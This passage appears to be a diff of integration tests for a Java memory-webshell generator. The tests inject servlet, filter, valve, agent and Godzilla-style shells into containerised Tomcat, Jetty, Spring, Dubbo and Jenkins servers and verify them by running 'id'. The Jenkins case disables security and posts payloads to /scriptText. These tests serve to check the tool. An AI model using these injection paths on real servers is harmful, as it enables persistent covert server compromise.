import com.reajason.javaweb.memshell.ShellType;
import java.util.List;
final class DubboProviderScenario {
private final String name;
private final String clientKind;
private final String providerJarProperty;
private final String imageName;
private final int loaderPort;
private final int targetJdkVersion;
private final List<DubboProtocolTarget> commandTargets;
DubboProviderScenario(String name, String clientKind, String providerJarProperty, String imageName,
int loaderPort, int targetJdkVersion, List<DubboProtocolTarget> commandTargets) {
this.name = name;
this.clientKind = clientKind;
this.providerJarProperty = providerJarProperty;
this.imageName = imageName;
this.loaderPort = loaderPort;
this.targetJdkVersion = targetJdkVersion;
this.commandTargets = commandTargets;
}
String name() {
return name;
}
String clientKind() {
return clientKind;
}
String providerJarProperty() {
return providerJarProperty;
}
String imageName() {
return imageName;
}
int loaderPort() {
return loaderPort;
}
int targetJdkVersion() {
return targetJdkVersion;
}
List<DubboProtocolTarget> commandTargets() {
return commandTargets;
}
String shellType() {
if ("alibaba".equals(clientKind)) {
return ShellType.ALIBABA_DUBBO_SERVICE;
}
return ShellType.APACHE_DUBBO_SERVICE;
}
@Override
public String toString() {
return name;
}
}
@@ -0,0 +1,64 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import org.testcontainers.containers.GenericContainer;
import java.util.List;
import java.util.stream.Collectors;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.anyOf;
import static org.hamcrest.Matchers.containsString;
@Slf4j
final class DubboServiceAssertion {
private static final String LOADER_INTERFACE = "io.github.reajason.dubbo.fixture.api.BytecodeLoadingService";
private static final String COMMAND = "id";
private DubboServiceAssertion() {
}
static void assertCommandService(GenericContainer<?> container, DubboProviderScenario scenario) {
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(
scenario.shellType(),
ShellTool.Command,
Packers.Base64
);
MemShellResult result = ShellAssertion.generate(
null,
Server.Dubbo,
null,
scenario.shellType(),
ShellTool.Command,
scenario.targetJdkVersion(),
shellToolConfig,
Packers.Base64
);
String interfaceName = result.getInjectorConfig().getUrlPattern();
String host = container.getHost();
String loaderUrl = "dubbo://" + host + ":" + container.getMappedPort(scenario.loaderPort()) + "/" + LOADER_INTERFACE;
log.info("loading {} into {} via {}", interfaceName, scenario.name(), loaderUrl);
String loadOutput = DubboClientRunner.loadBytes(scenario.clientKind(), loaderUrl, result.getInjectorBytesBase64Str());
log.info("{} load output: {}", scenario.name(), loadOutput);
List<String> fallbackUrls = scenario.commandTargets().stream()
.map(target -> target.url(host, container.getMappedPort(target.port()), interfaceName))
.collect(Collectors.toList());
List<String> commandUrls = DubboUrlResolver.resolveCommandUrls(loadOutput, interfaceName, fallbackUrls);
for (String commandUrl : commandUrls) {
String output = DubboClientRunner.runCommand(scenario.clientKind(), commandUrl, interfaceName, COMMAND);
log.info("{} {} command output: {}", scenario.name(), DubboUrlResolver.protocolOf(commandUrl), output);
assertThat(output, anyOf(containsString("uid="), containsString("injected-ok")));
}
}
}
@@ -0,0 +1,72 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import java.net.URI;
import java.net.URISyntaxException;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.stream.Collectors;
final class DubboUrlResolver {
private DubboUrlResolver() {
}
static List<String> resolveCommandUrls(String loadOutput, String interfaceName, List<String> fallbackUrls) {
Map<String, String> discoveredByProtocol = new LinkedHashMap<String, String>();
Pattern pattern = Pattern.compile("(dubbo|hessian|tri)://[^\\s,]*" + Pattern.quote(interfaceName) + "(?:\\?[^\\s,]*)?");
Matcher matcher = pattern.matcher(loadOutput);
while (matcher.find()) {
String candidate = matcher.group();
discoveredByProtocol.put(protocolOf(candidate), candidate);
}
return fallbackUrls.stream()
.map(fallback -> {
String discovered = discoveredByProtocol.get(protocolOf(fallback));
return discovered == null ? fallback : rewriteEndpoint(discovered, fallback);
})
.collect(Collectors.toList());
}
static String protocolOf(String url) {
int separator = url.indexOf("://");
return separator < 0 ? url : url.substring(0, separator);
}
static String rewriteHost(String url, String host) {
try {
URI uri = new URI(url);
return new URI(
uri.getScheme(),
uri.getUserInfo(),
host,
uri.getPort(),
uri.getPath(),
uri.getQuery(),
uri.getFragment()
).toString();
} catch (URISyntaxException e) {
throw new IllegalArgumentException("invalid direct url: " + url, e);
}
}
static String rewriteEndpoint(String url, String endpointUrl) {
try {
URI uri = new URI(url);
URI endpoint = new URI(endpointUrl);
return new URI(
uri.getScheme(),
uri.getUserInfo(),
endpoint.getHost(),
endpoint.getPort(),
uri.getPath(),
uri.getQuery(),
uri.getFragment()
).toString();
} catch (URISyntaxException e) {
throw new IllegalArgumentException("invalid direct url: " + url + " or " + endpointUrl, e);
}
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import org.junit.jupiter.api.Test;
import java.util.List;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.contains;
class DubboUrlResolverTest {
@Test
void discoveredUrlsOverrideFallbackByProtocolAndRewriteHost() {
String interfaceName = "org.example.ICommandService";
String loadOutput = "ok dubbo://x.x.x.x:20880/" + interfaceName + "?side=provider, "
+ "hessian://10.1.2.3:28080/" + interfaceName;
List<String> resolved = DubboUrlResolver.resolveCommandUrls(
loadOutput,
interfaceName,
List.of(
"dubbo://127.0.0.1:1111/" + interfaceName,
"hessian://127.0.0.1:2222/" + interfaceName,
"tri://127.0.0.1:3333/" + interfaceName
)
);
assertThat(resolved, contains(
"dubbo://127.0.0.1:1111/" + interfaceName + "?side=provider",
"hessian://127.0.0.1:2222/" + interfaceName,
"tri://127.0.0.1:3333/" + interfaceName
));
}
}
@@ -0,0 +1,59 @@
package com.reajason.javaweb.integration.memshell.geronimo;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Testcontainers
public class Geronimo221Jetty7ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig
.builder()
.server(Server.Jetty)
.imageName("reajason/geronimo:2.2.1-jetty7")
.warFile(ContainerTool.warFile)
.warDeployPath("/opt/geronimo/deploy/app.war")
.pidScript(ContainerTool.javaPid)
.serverVersion("7+")
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.JETTY_AGENT_HANDLER
))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,68 @@
package com.reajason.javaweb.integration.memshell.geronimo;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
/**
* @author ReaJason
* @since 2024/12/4
*/
@Testcontainers
public class Geronimo221Tomcat6ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig
.builder()
.server(Server.Tomcat)
.imageName("reajason/geronimo:2.2.1-tomcat6")
.warFile(ContainerTool.warFile)
.warDeployPath("/opt/geronimo/deploy/app.war")
.pidScript(ContainerTool.javaPid)
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.FILTER,
ShellType.SERVLET,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP, Packers.AgentJarWithJDKAttacher))
.probeShellTypes(List.of(
ShellType.FILTER,
ShellType.SERVLET,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
}
@@ -8,6 +8,7 @@ import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -24,6 +25,7 @@ public class GlassFish7ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish( private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"reajason/glassfish:7.0.20-jdk17", "reajason/glassfish:7.0.20-jdk17",
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war") "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.warFile(warJakartaFile) .warFile(warJakartaFile)
.jakarta(true) .jakarta(true)
.targetJdkVersion(Opcodes.V17) .targetJdkVersion(Opcodes.V17)
@@ -0,0 +1,179 @@
package com.reajason.javaweb.integration.memshell.jenkins;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.FormBody;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;
import org.apache.commons.lang3.tuple.Pair;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import org.testcontainers.utility.MountableFile;
import java.nio.file.Path;
import java.util.List;
import java.util.Locale;
import java.util.Map;
import static org.hamcrest.CoreMatchers.anyOf;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Testcontainers
public class JenkinsJetty12ee9ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig
.builder()
.imageName("jenkins/jenkins:2.492.1")
.env(Map.of("JAVA_OPTS", "-Djenkins.install.runSetupWizard=false"))
.server(Server.Jetty)
.jakarta(true)
.serverVersion("12")
.targetJdkVersion(Opcodes.V17)
.contextPath("")
.healthCheckPath("/login")
.assertLogs(false)
.waitStrategy(Wait.forHttp("/login").forPort(8080))
.supportedShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER
))
.probeShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER
))
.testPackers(List.of(Packers.Groovy))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.enableJspPackerTest(false)
.build();
private static final MountableFile DISABLE_SECURITY_SCRIPT = MountableFile.forHostPath(
Path.of("script", "disable-security.groovy").toAbsolutePath());
private static final OkHttpClient HTTP_CLIENT = new OkHttpClient();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network)
.withCopyToContainer(DISABLE_SECURITY_SCRIPT, "/var/jenkins_home/init.groovy.d/disable-security.groovy");
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Override
protected void runShellInject(ContainerTestConfig config, String shellType, String shellTool, Packers packer) {
String url = getUrl();
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft().replace("/test", "/scriptText");
String urlPattern = urls.getRight();
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = ShellAssertion.generate(urlPattern, config.getServer(), config.getServerVersion(),
shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer);
String payload = packer.getInstance().pack(generateResult.toClassPackerConfig());
injectByScriptText(url, payload);
ShellAssertion.assertShellIsOk(generateResult, shellUrl, shellTool, shellType, getContainer(), getPythonContainer());
}
@Override
protected void runProbeInject(ContainerTestConfig config, String shellType) {
String url = getUrl();
String shellTool = ShellTool.Command;
Packers packer = Packers.Groovy;
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft().replace("/test", "/scriptText");
String urlPattern = urls.getRight();
if (urlPattern != null) {
shellUrl += "testProbe";
urlPattern += "testProbe";
}
int probeTargetJdkVersion = config.getProbeTargetJdkVersion() == null
? config.getTargetJdkVersion()
: config.getProbeTargetJdkVersion();
ShellConfig shellConfig = ShellConfig.builder()
.server(config.getServer())
.serverVersion(config.getServerVersion())
.shellType(shellType)
.shellTool(shellTool)
.targetJreVersion(probeTargetJdkVersion)
.debug(false)
.probe(true)
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
.urlPattern(urlPattern)
.staticInitialize(true)
.build();
String paramName = "tomcatProbe" + shellType;
CommandConfig commandConfig = CommandConfig.builder()
.paramName(paramName)
.build();
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
String payload = packer.getInstance().pack(generateResult.toClassPackerConfig());
String res = injectByScriptText(url, payload);
assertThat(res, anyOf(
containsString("context: "),
containsString("server: "),
containsString("channel: "),
containsString("namespace: ")
));
ShellAssertion.commandIsOk(shellUrl, shellType, paramName, "id");
}
@SneakyThrows
private String injectByScriptText(String url, String payload) {
RequestBody requestBody = new FormBody.Builder()
.add("script", payload)
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.url(url + "/scriptText")
.post(requestBody)
.build();
try (Response response = HTTP_CLIENT.newCall(request).execute()) {
String body = response.body().string();
assertTrue(response.isSuccessful(), "Jenkins scriptText should return 2xx, body: " + body);
assertTrue(isScriptTextResponseOk(body), "Jenkins scriptText should not return a Groovy error, body: " + body);
return body;
}
}
private boolean isScriptTextResponseOk(String body) {
String normalizedBody = body.toLowerCase(Locale.ROOT);
return !normalizedBody.contains("groovy.lang.missing")
&& !normalizedBody.contains("groovy.lang.groovyruntimeexception")
&& !normalizedBody.contains("org.codehaus.groovy.control.multiplecompilationerrorsexception")
&& !normalizedBody.contains("script1.groovy")
&& !normalizedBody.contains("exception");
}
}
@@ -0,0 +1,53 @@
package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Testcontainers
public class Jetty71ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig
.jetty("reajason/jetty:7.1.6-jdk6")
.warDeployPath("/usr/local/jetty/webapps/app.war")
.serverVersion("7+")
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.JETTY_AGENT_HANDLER
))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,90 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import java.util.stream.Stream;
/**
* @author ReaJason
* @since 2024/12/22
*/
@Testcontainers
public class SpringBoot359ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
.imageName("eclipse-temurin:17.0.17_10-jdk")
.jarFile(ContainerTool.springBoot359JarFile)
.jakarta(true)
.jarDeployPath("/app/app.jar")
.command("java -jar /app/app.jar")
.server(Server.SpringWebMvc)
.pidScript(ContainerTool.springbootPid)
.targetJdkVersion(Opcodes.V17)
.enableJspPackerTest(false)
.contextPath("")
.healthCheckPath("/test")
.supportedShellTypes(List.of(
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
))
.testPackers(List.of(Packers.H2))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER
))
.build();
private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder()
.imageName("springboot3")
.server(Server.Tomcat)
.targetJdkVersion(Opcodes.V17)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
// ShellType.LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.H2))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
static Stream<Arguments> tomcatCasesProvider() {
return generateTestCases(TOMCAT_CONFIG);
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("tomcatCasesProvider")
void testTomcat(String imageName, String shellType, String shellTool, Packers packer) {
runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer);
}
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,71 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2024/12/22
*/
@Testcontainers
@Slf4j
public class SpringBoot359ExpressionContainerTest {
public static final String imageName = "springboot3";
@Container
public final static GenericContainer<?> container = new GenericContainer<>("eclipse-temurin:17.0.17_10-jdk")
.withCopyFileToContainer(springBoot359JarFile, "/app/app.jar")
.withCommand("java -jar /app/app.jar")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/test"))
.withExposedPorts(8080);
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
);
}
@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container);
}
}
@@ -1,7 +1,6 @@
package com.reajason.javaweb.integration.memshell.springwebmvc; package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
@@ -14,7 +13,6 @@ import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.integration.memshell.struct2; package com.reajason.javaweb.integration.memshell.struts2;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
@@ -19,11 +19,11 @@ import java.util.List;
* @since 2024/12/4 * @since 2024/12/4
*/ */
@Testcontainers @Testcontainers
public class Struct2ContainerTest extends AbstractContainerTest { public class Struts2ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
.imageName("tomcat:8-jre8") .imageName("tomcat:8-jre8")
.server(Server.Struct2) .server(Server.Struts2)
.warFile(ContainerTool.struct2WarFile) .warFile(ContainerTool.struts2WarFile)
.warDeployPath("/usr/local/tomcat/webapps/app.war") .warDeployPath("/usr/local/tomcat/webapps/app.war")
.pidScript(ContainerTool.tomcatPid) .pidScript(ContainerTool.tomcatPid)
.enableJspPackerTest(false) .enableJspPackerTest(false)
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
@@ -59,4 +61,9 @@ public class Tomcat10ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
} }
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
@@ -59,4 +61,9 @@ public class Tomcat11ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
} }
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
@@ -58,4 +60,9 @@ public class Tomcat11JRE21ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
} }
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
